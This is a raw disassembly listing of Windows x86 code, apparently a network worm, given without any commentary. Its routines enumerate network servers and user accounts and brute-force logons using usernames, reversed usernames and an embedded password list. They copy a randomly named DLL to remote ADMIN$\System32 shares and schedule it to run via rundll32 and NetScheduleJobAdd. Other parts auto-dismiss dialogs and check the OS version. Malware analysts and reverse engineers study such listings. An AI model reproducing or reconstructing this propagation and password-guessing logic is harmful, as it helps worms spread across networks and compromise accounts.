lpWideCharStr = dword ptr 8 push ebp mov ebp, esp sub esp, 864h mov al, ds:Password push ebx push esi push edi push 40h pop ecx mov [ebp+MultiByteStr], al xor eax, eax lea edi, [ebp+var_183] rep stosd xor ebx, ebx push ebx ; lpUsedDefaultChar push ebx ; lpDefaultChar stosw stosb mov esi, 104h push esi ; cbMultiByte lea eax, [ebp+MultiByteStr] push eax ; lpMultiByteStr push 0FFFFFFFFh ; cchWideChar push [ebp+lpWideCharStr] ; lpWideCharStr mov [ebp+var_4], ebx push ebx ; dwFlags push ebx ; CodePage call WideCharToMultiByte lea eax, [ebp+MultiByteStr] push eax ; Str call strlen push eax lea eax, [ebp+MultiByteStr] push eax call sub_9A8245 xor eax, 45419005h push eax ; Seed call srand call rand push 4 cdq pop ecx idiv ecx lea eax, [ebp+Dest] add edx, 5 push edx push eax call sub_9AB677 mov edi, wcscat lea eax, [ebp+Dest] push offset a_ ; "." push eax ; Dest call edi ; wcscat lea eax, [ebp+Dest] push eax ; Source lea eax, [ebp+var_6C] push eax ; Dest call wcscpy add esp, 28h loc_9A83CE: ; CODE XREF: sub_9A8326+D3j call rand push 3 cdq pop ecx idiv ecx lea eax, [ebp+Source] inc edx push edx push eax call sub_9AB677 lea eax, [ebp+Source] push offset aDll ; "dll" push eax ; Str1 call wcscmp add esp, 10h test eax, eax jz short loc_9A83CE call sub_9AB510 lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call edi ; wcscat lea eax, [ebp+var_6C] push offset aDll ; "dll" push eax ; Dest call edi ; wcscat mov edi, _snwprintf lea eax, [ebp+Dest] push eax push [ebp+lpWideCharStr] lea eax, [ebp+FileName] push offset aSAdminSystem32 ; "\\\\%s\\ADMIN$\\System32\\%s" push esi ; Count push eax ; Dest call edi ; _snwprintf lea eax, [ebp+var_6C] push eax push [ebp+lpWideCharStr] lea eax, [ebp+Servername] push offset aSAdminSystem32 ; "\\\\%s\\ADMIN$\\System32\\%s" push esi ; Count push eax ; Dest mov [ebp+var_40E], bx call edi ; _snwprintf add esp, 38h lea eax, [ebp+FindFileData] push eax ; lpFindFileData lea eax, [ebp+Servername] push eax ; lpFileName mov [ebp+var_206], bx call FindFirstFileW cmp eax, 0FFFFFFFFh jz short loc_9A848C push eax ; hFindFile call FindClose cmp [ebp+FindFileData.nFileSizeLow], ebx jz short loc_9A848C loc_9A8480: ; CODE XREF: sub_9A8326+191j ; sub_9A8326+19Ej mov [ebp+var_4], 1 jmp loc_9A85F4 ; --------------------------------------------------------------------------- loc_9A848C: ; CODE XREF: sub_9A8326+149j ; sub_9A8326+158j push ebx ; hTemplateFile push 6 ; dwFlagsAndAttributes push 1 ; dwCreationDisposition push ebx ; lpSecurityAttributes push 1 ; dwShareMode push 40000000h ; dwDesiredAccess lea eax, [ebp+FileName] push eax ; lpFileName call CreateFileW cmp eax, 0FFFFFFFFh mov [ebp+JobId], eax jnz short loc_9A84C6 call GetLastError cmp eax, 50h jz short loc_9A8480 cmp eax, 0B7h jnz loc_9A85F4 jmp short loc_9A8480 ; --------------------------------------------------------------------------- loc_9A84C6: ; CODE XREF: sub_9A8326+186j push ebx ; lpOverlapped lea ecx, [ebp+NumberOfBytesWritten] push ecx ; lpNumberOfBytesWritten push ds:nNumberOfBytesToWrite ; nNumberOfBytesToWrite mov [ebp+NumberOfBytesWritten], ebx push ds:lpBuffer ; lpBuffer push eax ; hFile call WriteFile test eax, eax jz short loc_9A84F7 mov eax, [ebp+NumberOfBytesWritten] cmp eax, ds:nNumberOfBytesToWrite jnz short loc_9A84F7 mov [ebp+var_4], 1 loc_9A84F7: ; CODE XREF: sub_9A8326+1BDj ; sub_9A8326+1C8j push [ebp+JobId] ; hObject call CloseHandle push ebx ; lpUsedDefaultChar push ebx ; lpDefaultChar push esi ; cbMultiByte lea eax, [ebp+MultiByteStr] push eax ; lpMultiByteStr push 0FFFFFFFFh ; cchWideChar lea eax, [ebp+FileName] push eax ; lpWideCharStr push ebx ; dwFlags push ebx ; CodePage call WideCharToMultiByte test eax, eax jz short loc_9A852C lea eax, [ebp+MultiByteStr] push eax ; lpFileName call sub_9AB6A9 pop ecx loc_9A852C: ; CODE XREF: sub_9A8326+1F7j cmp [ebp+var_4], ebx jz loc_9A85E7 call rand push 4 cdq pop ecx idiv ecx lea eax, [ebp+var_80] add edx, 5 push edx push eax call sub_9AB677 lea eax, [ebp+var_80] push eax lea eax, [ebp+Dest] push eax push offset aRundll32_exeSS ; "rundll32.exe %s,%s" lea eax, [ebp+var_204] push 40h ; Count push eax ; Dest call edi ; _snwprintf push [ebp+lpWideCharStr] lea eax, [ebp+Servername] push offset aS ; "\\\\%s" push esi ; Count push eax ; Dest mov [ebp+var_186], bx call edi ; _snwprintf add esp, 2Ch lea eax, [ebp+SystemTime] push eax ; lpSystemTime mov [ebp+var_206], bx call GetLocalTime inc [ebp+SystemTime.wHour] cmp [ebp+SystemTime.wHour], 18h jb short loc_9A85A4 add [ebp+SystemTime.wHour], 0FFE8h loc_9A85A4: ; CODE XREF: sub_9A8326+276j push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call memset movzx eax, [ebp+SystemTime.wHour] imul eax, 36EE80h mov [ebp+Dst], eax lea eax, [ebp+var_204] mov [ebp+var_28], eax add esp, 0Ch lea eax, [ebp+JobId] push eax ; JobId lea eax, [ebp+Dst] push eax ; Buffer lea eax, [ebp+Servername] push eax ; Servername mov [ebp+var_2C], 7Fh mov [ebp+var_2B], 11h call NetScheduleJobAdd jmp short loc_9A85F4 ; --------------------------------------------------------------------------- loc_9A85E7: ; CODE XREF: sub_9A8326+209j lea eax, [ebp+FileName] push eax ; lpFileName call DeleteFileW loc_9A85F4: ; CODE XREF: sub_9A8326+161j ; sub_9A8326+198j ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_9A8326 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A85FC(LPCWSTR servername) sub_9A85FC proc near ; CODE XREF: sub_9A870C+2Bp ; sub_9A870C+3Ap totalentries = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h resume_handle = dword ptr -10h entriesread = dword ptr -0Ch var_8 = dword ptr -8 Buffer = dword ptr -4 servername = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi xor ebx, ebx push edi xor esi, esi mov [ebp+Buffer], ebx mov [ebp+resume_handle], ebx xor edi, edi loc_9A8611: ; CODE XREF: sub_9A85FC+B9j lea eax, [ebp+resume_handle] push eax ; resume_handle lea eax, [ebp+totalentries] push eax ; totalentries lea eax, [ebp+entriesread] push eax ; entriesread push 0FFFFFFFFh ; prefmaxlen lea eax, [ebp+Buffer] push eax ; bufptr push 0 ; filter push 1 ; level push [ebp+servername] ; servername call NetUserEnum test eax, eax mov [ebp+var_18], eax jz short loc_9A863D cmp eax, 0EAh jnz short loc_9A86BB loc_9A863D: ; CODE XREF: sub_9A85FC+38j cmp [ebp+Buffer], 0 jz short loc_9A86AE add edi, [ebp+entriesread] lea eax, ds:4[edi*4] push eax ; NewSize push esi ; Memory mov [ebp+var_14], edi call realloc mov esi, eax test esi, esi pop ecx pop ecx jz short loc_9A86A2 and [ebp+var_8], 0 cmp [ebp+entriesread], 0 jbe short loc_9A869E xor edi, edi loc_9A866C: ; CODE XREF: sub_9A85FC+9Dj mov eax, [ebp+Buffer] add eax, edi cmp dword ptr [eax+0Ch], 0 jz short loc_9A868D test dword ptr [eax+18h], 2 jnz short loc_9A868D push dword ptr [eax] ; Str call _wcsdup mov [esi+ebx*4], eax pop ecx inc ebx loc_9A868D: ; CODE XREF: sub_9A85FC+79j ; sub_9A85FC+82j inc [ebp+var_8] mov eax, [ebp+var_8] add edi, 20h cmp eax, [ebp+entriesread] jb short loc_9A866C mov edi, [ebp+var_14] loc_9A869E: ; CODE XREF: sub_9A85FC+6Cj and dword ptr [esi+ebx*4], 0 loc_9A86A2: ; CODE XREF: sub_9A85FC+62j push [ebp+Buffer] ; Buffer call NetApiBufferFree and [ebp+Buffer], 0 loc_9A86AE: ; CODE XREF: sub_9A85FC+45j cmp [ebp+var_18], 0EAh jz loc_9A8611 loc_9A86BB: ; CODE XREF: sub_9A85FC+3Fj cmp [ebp+Buffer], 0 jz short loc_9A86C9 push [ebp+Buffer] ; Buffer call NetApiBufferFree loc_9A86C9: ; CODE XREF: sub_9A85FC+C3j pop edi mov eax, esi pop esi pop ebx leave retn sub_9A85FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9A86D0(int lpWideCharStr, LPCWSTR lpUserName, LPCWSTR lpPassword) sub_9A86D0 proc near ; CODE XREF: sub_9A870C+12p ; sub_9A870C+6Dp ... lpWideCharStr = dword ptr 8 lpUserName = dword ptr 0Ch lpPassword = dword ptr 10h push ebp mov ebp, esp push esi push [ebp+lpPassword] ; lpPassword xor esi, esi push [ebp+lpUserName] ; lpUserName push [ebp+lpWideCharStr] ; int call sub_9A82BC add esp, 0Ch test eax, eax jz short loc_9A86FF push [ebp+lpWideCharStr] ; lpWideCharStr call sub_9A8326 push [ebp+lpWideCharStr] mov esi, eax call sub_9A827D pop ecx pop ecx loc_9A86FF: ; CODE XREF: sub_9A86D0+19j push 3Ch ; dwMilliseconds call Sleep mov eax, esi pop esi pop ebp retn sub_9A86D0 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9A870C(LPCWSTR lpWideCharStr) sub_9A870C proc near ; CODE XREF: sub_9A88A6+78p Memory = dword ptr -104h Password = word ptr -100h lpWideCharStr = dword ptr 4 sub esp, 104h push ebx push 0 ; lpPassword push 0 ; lpUserName push [esp+110h+lpWideCharStr] ; lpWideCharStr call sub_9A86D0 mov ebx, eax add esp, 0Ch test ebx, ebx jnz loc_9A8891 push [esp+108h+lpWideCharStr] ; servername call sub_9A85FC test eax, eax pop ecx mov [esp+108h+Memory], eax jnz short loc_9A8758 push eax ; servername call sub_9A85FC test eax, eax pop ecx mov [esp+108h+Memory], eax jz loc_9A8891 loc_9A8758: ; CODE XREF: sub_9A870C+37j push ebp mov ebp, wcslen push esi mov esi, [esp+110h+Memory] push edi loc_9A8765: ; CODE XREF: sub_9A870C+171j cmp dword ptr [esi], 0 jz loc_9A8883 mov eax, [esi] push eax ; lpPassword push eax ; lpUserName push [esp+11Ch+lpWideCharStr] ; lpWideCharStr call sub_9A86D0 mov ebx, eax add esp, 0Ch test ebx, ebx jnz loc_9A886F push dword ptr [esi] ; Str call ebp ; wcslen test eax, eax pop ecx jz loc_9A8826 push dword ptr [esi] ; Str call ebp ; wcslen lea eax, ds:2[eax*4] push eax ; Size call malloc mov edi, eax test edi, edi pop ecx pop ecx jz short loc_9A8826 push dword ptr [esi] ; Source push edi ; Dest call wcscpy push dword ptr [esi] ; Source push edi ; Dest call wcscat push edi ; lpPassword push dword ptr [esi] ; lpUserName push [esp+12Ch+lpWideCharStr] ; lpWideCharStr call sub_9A86D0 mov ebx, eax add esp, 1Ch test ebx, ebx jnz short loc_9A881A push dword ptr [esi] ; Str call ebp ; wcslen test eax, eax pop ecx jle short loc_9A8801 loc_9A87E5: ; CODE XREF: sub_9A870C+F3j push dword ptr [esi] ; Str call ebp ; wcslen mov ecx, [esi] sub eax, ebx mov ax, [ecx+eax*2-2] mov [edi+ebx*2], ax push dword ptr [esi] ; Str inc ebx call ebp ; wcslen cmp ebx, eax pop ecx pop ecx jl short loc_9A87E5 loc_9A8801: ; CODE XREF: sub_9A870C+D7j and word ptr [edi+ebx*2], 0 push edi ; lpPassword push dword ptr [esi] ; lpUserName push [esp+11Ch+lpWideCharStr] ; lpWideCharStr call sub_9A86D0 add esp, 0Ch mov ebx, eax loc_9A881A: ; CODE XREF: sub_9A870C+CEj push edi ; Memory call free test ebx, ebx pop ecx jnz short loc_9A886F loc_9A8826: ; CODE XREF: sub_9A870C+86j ; sub_9A870C+A4j xor edi, edi loc_9A8828: ; CODE XREF: sub_9A870C+161j cmp edi, 3E4h jnb short loc_9A886F push 80h ; cchWideChar lea eax, [esp+118h+Password] push eax ; lpWideCharStr push 0FFFFFFFFh ; cbMultiByte push ds:off_9B9010[edi] ; lpMultiByteStr push 0 ; dwFlags push 0 ; CodePage call MultiByteToWideChar test eax, eax jz short loc_9A8868 lea eax, [esp+114h+Password] push eax ; lpPassword push dword ptr [esi] ; lpUserName push [esp+11Ch+lpWideCharStr] ; lpWideCharStr call sub_9A86D0 add esp, 0Ch mov ebx, eax loc_9A8868: ; CODE XREF: sub_9A870C+142j add edi, 4 test ebx, ebx jz short loc_9A8828 loc_9A886F: ; CODE XREF: sub_9A870C+79j ; sub_9A870C+118j ... push dword ptr [esi] ; Memory call free add esi, 4 test ebx, ebx pop ecx jz loc_9A8765 loc_9A8883: ; CODE XREF: sub_9A870C+5Cj push [esp+114h+Memory] ; Memory call free pop ecx pop edi pop esi pop ebp loc_9A8891: ; CODE XREF: sub_9A870C+1Ej ; sub_9A870C+46j push 7D0h ; dwMilliseconds call Sleep mov eax, ebx pop ebx add esp, 104h retn sub_9A870C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A88A6 proc near ; CODE XREF: sub_9A89BC+16p totalentries = dword ptr -10h var_C = dword ptr -0Ch entriesread = dword ptr -8 Buffer = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push edi xor edi, edi push edi ; resume_handle push edi ; domain push 0FFFFFFFFh ; servertype lea eax, [ebp+totalentries] push eax ; totalentries lea eax, [ebp+entriesread] push eax ; entriesread push 0FFFFFFFFh ; prefmaxlen lea eax, [ebp+Buffer] push eax ; bufptr push 65h ; level push edi ; servername mov [ebp+var_C], edi mov [ebp+entriesread], edi mov [ebp+Buffer], edi call NetServerEnum cmp eax, edi jz short loc_9A88E7 cmp eax, 0EAh jnz short loc_9A8936 cmp [ebp+Buffer], edi jz short loc_9A8943 cmp [ebp+entriesread], edi jz short loc_9A8936 loc_9A88E7: ; CODE XREF: sub_9A88A6+2Ej push ebx xor ebx, ebx cmp [ebp+entriesread], edi jbe short loc_9A8935 push esi xor esi, esi loc_9A88F2: ; CODE XREF: sub_9A88A6+8Cj mov eax, [ebp+Buffer] add eax, esi test byte ptr [eax+11h], 10h jz short loc_9A892B cmp dword ptr [eax+8], 4 jbe short loc_9A892B push offset word_9B9F40 ; Str2 push dword ptr [eax+4] ; Str1 call wcscmp test eax, eax pop ecx pop ecx jz short loc_9A892B mov eax, [ebp+Buffer] push dword ptr [esi+eax+4] ; lpWideCharStr call sub_9A870C pop ecx mov [ebp+var_C], 1 loc_9A892B: ; CODE XREF: sub_9A88A6+55j ; sub_9A88A6+5Bj ... inc ebx add esi, 18h cmp ebx, [ebp+entriesread] jb short loc_9A88F2 pop esi loc_9A8935: ; CODE XREF: sub_9A88A6+47j pop ebx loc_9A8936: ; CODE XREF: sub_9A88A6+35j ; sub_9A88A6+3Fj cmp [ebp+Buffer], edi jz short loc_9A8943 push [ebp+Buffer] ; Buffer call NetApiBufferFree loc_9A8943: ; CODE XREF: sub_9A88A6+3Aj ; sub_9A88A6+93j mov eax, [ebp+var_C] pop edi leave retn sub_9A88A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A8949 proc near ; CODE XREF: sub_9A89BC+Fp nSize = dword ptr -8 Buffer = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push edi call sub_9AC33A mov edi, eax call sub_9AB510 and [ebp+Buffer], 0 lea eax, [ebp+Buffer] push eax ; bufptr push 64h ; level push 0 ; servername call NetWkstaGetInfo test eax, eax jnz short loc_9A8993 mov eax, [ebp+Buffer] push 104h ; Count push dword ptr [eax+4] ; Source push offset word_9B9F40 ; Dest call wcsncpy add esp, 0Ch and ds:word_9BA146, 0 jmp short loc_9A89A9 ; --------------------------------------------------------------------------- loc_9A8993: ; CODE XREF: sub_9A8949+25j lea eax, [ebp+nSize] push eax ; nSize push offset word_9B9F40 ; lpBuffer mov [ebp+nSize], 104h call GetComputerNameW loc_9A89A9: ; CODE XREF: sub_9A8949+48j cmp [ebp+Buffer], 0 jz short loc_9A89B7 push [ebp+Buffer] ; Buffer call NetApiBufferFree loc_9A89B7: ; CODE XREF: sub_9A8949+64j mov eax, edi pop edi leave retn sub_9A8949 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn ; DWORD __stdcall sub_9A89BC(LPVOID) sub_9A89BC proc near ; DATA XREF: sub_9A89E8+9o push esi mov esi, Sleep push edi push 493E0h ; dwMilliseconds loc_9A89C9: ; CODE XREF: sub_9A89BC+2Aj call esi ; Sleep call sub_9A8949 mov edi, eax call sub_9A88A6 test edi, edi jz short loc_9A89E1 call RevertToSelf loc_9A89E1: ; CODE XREF: sub_9A89BC+1Dj push 249F00h jmp short loc_9A89C9 sub_9A89BC endp ; =============== S U B R O U T I N E ======================================= sub_9A89E8 proc near ; CODE XREF: StartAddress+1D4p var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push eax ; lpThreadId xor eax, eax push eax ; dwCreationFlags push eax ; lpParameter push offset sub_9A89BC ; lpStartAddress push eax ; dwStackSize push eax ; lpThreadAttributes call CreateThread push eax ; hObject call CloseHandle pop ecx retn sub_9A89E8 endp ; =============== S U B R O U T I N E ======================================= ; BOOL __stdcall fn(HWND, LPARAM) fn proc near ; DATA XREF: sub_9A8A37+15o hDlg = dword ptr 4 push 1 ; nIDDlgItem push [esp+4+hDlg] ; hDlg call GetDlgItem test eax, eax jz short loc_9A8A31 push 0 ; lParam push 0 ; wParam push 0F5h ; Msg push eax ; hWnd call PostMessageA mov ds:dword_9BA148, 1 loc_9A8A31: ; CODE XREF: fn+Ej xor eax, eax inc eax retn 8 fn endp ; =============== S U B R O U T I N E ======================================= ; DWORD __stdcall sub_9A8A37(LPVOID) sub_9A8A37 proc near ; DATA XREF: sub_9A8A72+127o dwThreadId = dword ptr 4 and ds:dword_9BA148, 0 push esi xor esi, esi loc_9A8A41: ; CODE XREF: sub_9A8A37+33j cmp ds:dword_9BA148, 0 jnz short loc_9A8A6C push 0 ; lParam push offset fn ; lpfn push [esp+0Ch+dwThreadId] ; dwThreadId call EnumThreadWindows push 0Ah ; dwMilliseconds call Sleep inc esi cmp esi, 5DCh jl short loc_9A8A41 loc_9A8A6C: ; CODE XREF: sub_9A8A37+11j xor eax, eax pop esi retn 4 sub_9A8A37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A8A72 proc near ; CODE XREF: sub_9A8C1B+5Ep pvarg = VARIANTARG ptr -38h ThreadId = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 38h mov eax, [ebx] push esi lea ecx, [ebp+var_1C] push ecx xor esi, esi push ebx mov [ebp+var_1C], esi call dword ptr [eax+2Ch] mov eax, [ebp+var_1C] cmp eax, esi jz loc_9A8C18 lea edx, [ebp+var_14] push edx mov [ebp+var_8], esi mov [ebp+var_14], esi mov ecx, [eax] push eax call dword ptr [ecx+1Ch] mov eax, [ebp+var_14] cmp eax, esi jz short loc_9A8AC1 mov ecx, [eax] lea edx, [ebp+var_8] push edx push offset dword_9A2F98 push eax call dword ptr [ecx] mov eax, [ebp+var_14] mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8AC1: ; CODE XREF: sub_9A8A72+36j cmp [ebp+var_8], esi jz loc_9A8C0F lea eax, [ebp+pvarg] push eax ; pvarg call VariantInit mov eax, [ebp+var_8] mov ecx, [eax] push esi lea edx, [ebp+pvarg] push edx push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_9A8C06 push edi loc_9A8AED: ; CODE XREF: sub_9A8A72+18Dj cmp word ptr [ebp+pvarg.anonymous_0], 0Dh jnz loc_9A8BE3 mov eax, dword ptr [ebp+pvarg.anonymous_0+8] lea edx, [ebp+var_4] push edx push offset dword_9A2F88 mov [ebp+var_4], esi mov ecx, [eax] push eax call dword ptr [ecx] cmp [ebp+var_4], esi jz loc_9A8BE3 mov eax, [ebx] lea ecx, [ebp+var_10] push ecx push [ebp+var_4] mov [ebp+var_10], esi push ebx call dword ptr [eax+30h] mov eax, [ebp+var_10] cmp eax, esi jz loc_9A8BDA lea edx, [ebp+var_20] push edx mov [ebp+var_20], esi mov ecx, [eax] push eax call dword ptr [ecx+30h] test byte ptr [ebp+var_20+1], 4 jz loc_9A8BD1 mov eax, [ebp+var_10] lea edx, [ebp+var_18] push edx mov [ebp+var_18], esi mov ecx, [eax] push eax call dword ptr [ecx+2Ch] cmp [ebp+var_18], 8 jz short loc_9A8BD1 cmp [ebp+var_18], 9 jz short loc_9A8BD1 mov eax, [ebx] lea ecx, [ebp+var_C] push ecx push [ebp+var_4] mov [ebp+var_C], esi push ebx call dword ptr [eax+28h] mov eax, [ebp+var_C] cmp eax, esi jz short loc_9A8BD1 lea edx, [ebp+var_24] push edx mov [ebp+var_24], esi mov ecx, [eax] push eax call dword ptr [ecx+2Ch] cmp word ptr [ebp+var_24], si jz short loc_9A8BC8 lea eax, [ebp+ThreadId] push eax ; lpThreadId push esi ; dwCreationFlags call GetCurrentThreadId push eax ; lpParameter push offset sub_9A8A37 ; lpStartAddress push esi ; dwStackSize push esi ; lpThreadAttributes call CreateThread push 64h ; dwMilliseconds mov edi, eax call Sleep mov eax, [ebp+var_C] mov ecx, [eax] push eax call dword ptr [ecx+30h] push esi ; dwExitCode push edi ; hThread call TerminateThread push edi ; hObject call CloseHandle loc_9A8BC8: ; CODE XREF: sub_9A8A72+119j mov eax, [ebp+var_C] mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8BD1: ; CODE XREF: sub_9A8A72+CFj ; sub_9A8A72+E9j ... mov eax, [ebp+var_10] mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8BDA: ; CODE XREF: sub_9A8A72+B8j mov eax, [ebp+var_4] mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8BE3: ; CODE XREF: sub_9A8A72+80j ; sub_9A8A72+9Dj lea eax, [ebp+pvarg] push eax ; pvarg call VariantClear mov eax, [ebp+var_8] mov ecx, [eax] push esi lea edx, [ebp+pvarg] push edx push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jz loc_9A8AED pop edi loc_9A8C06: ; CODE XREF: sub_9A8A72+74j mov eax, [ebp+var_8] mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8C0F: ; CODE XREF: sub_9A8A72+52j mov eax, [ebp+var_1C] mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8C18: ; CODE XREF: sub_9A8A72+1Bj pop esi leave retn sub_9A8A72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_9A8C1B(LPVOID) sub_9A8C1B proc near ; DATA XREF: sub_9A8CAF+50o var_24 = dword ptr -24h var_20 = dword ptr -20h ppv = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 14h push offset stru_9A2FC8 call __SEH_prolog push 6 ; dwCoInit xor esi, esi push esi ; pvReserved call CoInitializeEx mov [ebp+var_20], eax cmp eax, 80010106h jz short loc_9A8C40 cmp eax, esi jl short loc_9A8C9A loc_9A8C40: ; CODE XREF: sub_9A8C1B+1Fj push esi ; pReserved3 push esi ; dwCapabilities push esi ; pAuthList push 3 ; dwImpLevel push 4 ; dwAuthnLevel push esi ; pReserved1 push esi ; asAuthSvc push 0FFFFFFFFh ; cAuthSvc push esi ; pSecDesc call CoInitializeSecurity mov [ebp+ms_exc.disabled], esi mov [ebp+ppv], esi lea eax, [ebp+ppv] push eax ; ppv push offset riid ; riid push 17h ; dwClsContext push esi ; pUnkOuter push offset rclsid ; rclsid call CoCreateInstance mov [ebp+var_24], eax mov ebx, [ebp+ppv] cmp ebx, esi jz short loc_9A8C87 call sub_9A8A72 mov eax, [ebp+ppv] mov ecx, [eax] push eax call dword ptr [ecx+8] loc_9A8C87: ; CODE XREF: sub_9A8C1B+5Cj or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_9A8C9A ; --------------------------------------------------------------------------- loc_9A8C8D: ; DATA XREF: .text:stru_9A2FC8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9A8C91: ; DATA XREF: .text:stru_9A2FC8o mov esp, [ebp+ms_exc.old_esp] or [ebp+ms_exc.disabled], 0FFFFFFFFh xor esi, esi loc_9A8C9A: ; CODE XREF: sub_9A8C1B+23j ; sub_9A8C1B+70j cmp [ebp+var_20], esi jl short loc_9A8CA5 call CoUninitialize loc_9A8CA5: ; CODE XREF: sub_9A8C1B+82j xor eax, eax call __SEH_epilog retn 4 sub_9A8C1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_9A8CAF proc near ; CODE XREF: sub_9AEA12+6Bp VersionInformation= _OSVERSIONINFOA ptr -0A0h var_C = word ptr -0Ch ThreadId = dword ptr -4 push ebp lea ebp, [esp-78h] sub esp, 0A0h push edi push 26h pop ecx xor eax, eax mov [ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch lea edi, [ebp+78h+VersionInformation.dwMajorVersion] rep stosd lea eax, [ebp+78h+VersionInformation] push eax ; lpVersionInformation call GetVersionExA cmp [ebp+78h+VersionInformation.dwMajorVersion], 5 jnz short loc_9A8D31 cmp [ebp+78h+VersionInformation.dwMinorVersion], 1 jnz short loc_9A8CE9 cmp [ebp+78h+var_C], 2 jb short loc_9A8CF6 loc_9A8CE9: ; CODE XREF: sub_9A8CAF+31j cmp [ebp+78h+VersionInformation.dwMinorVersion], 2 jnz short loc_9A8D31 cmp [ebp+78h+var_C], 1 jnb short loc_9A8D31 loc_9A8CF6: ; CODE XREF: sub_9A8CAF+38j push esi lea eax, [ebp+78h+ThreadId] push eax ; lpThreadId xor esi, esi push esi ; dwCreationFlags push esi ; lpParameter push offset sub_9A8C1B ; lpStartAddress push esi ; dwStackSize push esi ; lpThreadAttributes call CreateThread mov edi, eax push 3A98h ; dwMilliseconds push edi ; hHandle call WaitForSingleObject cmp eax, 102h jnz short loc_9A8D29 push esi ; dwExitCode push edi ; hThread call TerminateThread loc_9A8D29: ; CODE XREF: sub_9A8CAF+70j push edi ; hObject call CloseHandle pop esi loc_9A8D31: ; CODE XREF: sub_9A8CAF+2Bj ; sub_9A8CAF+3Ej ... pop edi add ebp, 78h leave retn sub_9A8CAF endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9A8D37(char *lpFirst) sub_9A8D37 proc near ; CODE XREF: sub_9A9E22+1Cp ; sub_9A9E95+64p ... lpFirst = dword ptr 4 push ebx mov ebx, [esp+4+lpFirst] push ebp push edi push 2Eh ; Ch push ebx ; Str xor ebp, ebp call strrchr mov edi, eax test edi, edi pop ecx pop ecx jz short loc_9A8DAE push esi xor esi, esi loc_9A8D54: ; CODE XREF: sub_9A8D37+37j push ds:off_9B93F8[esi] ; lpSrch push ebx ; lpFirst call StrStrIA test eax, eax jnz short loc_9A8DAA add esi, 4 cmp esi, 0D0h jb short loc_9A8D54 jmp short loc_9A8D7C ; --------------------------------------------------------------------------- loc_9A8D72: ; CODE XREF: sub_9A8D37+47j lea eax, [edi-1] cmp byte ptr [eax], 2Eh jz short loc_9A8D80 mov edi, eax loc_9A8D7C: ; CODE XREF: sub_9A8D37+39j cmp edi, ebx ja short loc_9A8D72 loc_9A8D80: ; CODE XREF: sub_9A8D37+41j xor ebx, ebx loc_9A8D82: ; CODE XREF: sub_9A8D37+6Fj lea esi, off_9B94C8[ebx] push dword ptr [esi] ; Str call strlen push eax ; MaxCount push dword ptr [esi] ; Str push edi ; Str1 call _strnicmp add esp, 10h test eax, eax jz short loc_9A8DAA add ebx, 4 cmp ebx, 20h jb short loc_9A8D82 jmp short loc_9A8DAD ; --------------------------------------------------------------------------- loc_9A8DAA: ; CODE XREF: sub_9A8D37+2Cj ; sub_9A8D37+67j xor ebp, ebp inc ebp loc_9A8DAD: ; CODE XREF: sub_9A8D37+71j pop esi loc_9A8DAE: ; CODE XREF: sub_9A8D37+18j pop edi mov eax, ebp pop ebp pop ebx retn sub_9A8D37 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9A8DB4(u_long netlong) sub_9A8DB4 proc near ; CODE XREF: sub_9A9BBC+42p ; sub_9AE6A2+14Bp netlong = dword ptr 4 push esi push [esp+4+netlong] xor esi, esi call sub_9AB389 test eax, eax pop ecx jz short loc_9A8DF1 push [esp+4+netlong] ; netlong call __imp_ntohl_0 xor ecx, ecx loc_9A8DD1: ; CODE XREF: sub_9A8DB4+36j cmp eax, ds:dword_9A2FD8[ecx] jb short loc_9A8DE1 cmp eax, ds:dword_9A2FDC[ecx] jbe short loc_9A8DEE loc_9A8DE1: ; CODE XREF: sub_9A8DB4+23j add ecx, 8 cmp ecx, 0C60h jb short loc_9A8DD1 jmp short loc_9A8DF1 ; --------------------------------------------------------------------------- loc_9A8DEE: ; CODE XREF: sub_9A8DB4+2Bj xor esi, esi inc esi loc_9A8DF1: ; CODE XREF: sub_9A8DB4+Fj ; sub_9A8DB4+38j mov eax, esi pop esi retn sub_9A8DB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9A8DF5 proc near ; CODE XREF: sub_9A8FED+28p ppv = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+ppv], 0 and [ebp+var_4], 0 and dword ptr [edi], 0 push esi lea eax, [ebp+ppv] push eax ; ppv push offset stru_9A3E9C ; riid push 1 ; dwClsContext push 0 